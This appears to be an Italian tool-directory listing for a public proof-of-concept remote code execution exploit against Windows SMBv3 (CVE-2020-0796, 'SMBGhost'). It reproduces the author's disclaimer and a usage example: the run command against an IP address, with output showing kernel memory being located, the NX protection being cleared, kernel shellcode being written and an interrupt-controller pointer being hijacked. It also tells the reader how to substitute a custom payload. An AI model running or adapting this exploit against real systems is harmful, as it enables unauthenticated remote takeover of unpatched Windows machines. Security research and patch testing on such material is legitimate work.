Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
SMBGhost_RCE_PoC — Proof-of-concept per l'esecuzione remota di codice per CVE-2020-0796 (SMBGhost) che sfrutta la vulnerabilità di compressione SMBv3 di Windows con iniezione di kernel shellcode. | Kitploit
Strumenti/GitHubGitHub/chompie1337/smbghost_rce_poc
Analisi delle VulnerabilitàExploitPenetration TestingBinary Exploitation
GitHubchompie1337/smbghost_rce_poc

SMBGhost_RCE_PoC

Proof-of-concept per l'esecuzione remota di codice per CVE-2020-0796 (SMBGhost) che sfrutta la vulnerabilità di compressione SMBv3 di Windows con iniezione di kernel shellcode.

Vedi Repository
1.4k3376 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

SMBGhost_RCE_PoC

PoC RCE per CVE-2020-0796 "SMBGhost"

Solo a scopo dimostrativo! Usalo solo come riferimento. Sul serio. Non è stato testato al di fuori del mio ambiente di laboratorio. È stato scritto in fretta e necessita di qualche miglioramento per essere più affidabile. A volte provoca un BSOD. Usarlo per qualsiasi scopo diverso dall'autoapprendimento è un'idea estremamente pericolosa. Il tuo computer prenderà fuoco. I cuccioli moriranno.

Ora che abbiamo chiarito questo....

Esempio d'uso:

root@kitploit:~
$SMBGhost_RCE_PoC python exploit.py -ip 192.168.142.131
[+] found low stub at phys addr 13000!
[+] PML4 at 1ad000
[+] base of HAL heap at fffff79480000000
[+] ntoskrnl entry at fffff80645792010
[+] found PML4 self-ref entry 1eb
[+] found HalpInterruptController at fffff79480001478
[+] found HalpApicRequestInterrupt at fffff80645cb3bb0
[+] built shellcode!
[+] KUSER_SHARED_DATA PTE at fffff5fbc0000000
[+] KUSER_SHARED_DATA PTE NX bit cleared!
[+] Wrote shellcode at fffff78000000a00!
[+] Press a key to execute shellcode!
[+] overwrote HalpInterruptController pointer, should have execution shortly...

Sostituisci il payload in USER_PAYLOAD in exploit.py. Massimo 600 byte. Se ne vuoi di più, modifica tu stesso il kernel shell code.

Codice lznt1 da qui. Modificato per aggiungere una funzione di "cattiva compressione" per corrompere l'intestazione del buffer SRVNET senza causare un crash.

Per maggiori dettagli sui metodi utilizzati, consulta questo eccellente articolo di Ricera Security: https://ricercasecurity.blogspot.com/2020/04/ill-ask-your-body-smbghost-pre-auth-rce.html

Scarica lo strumento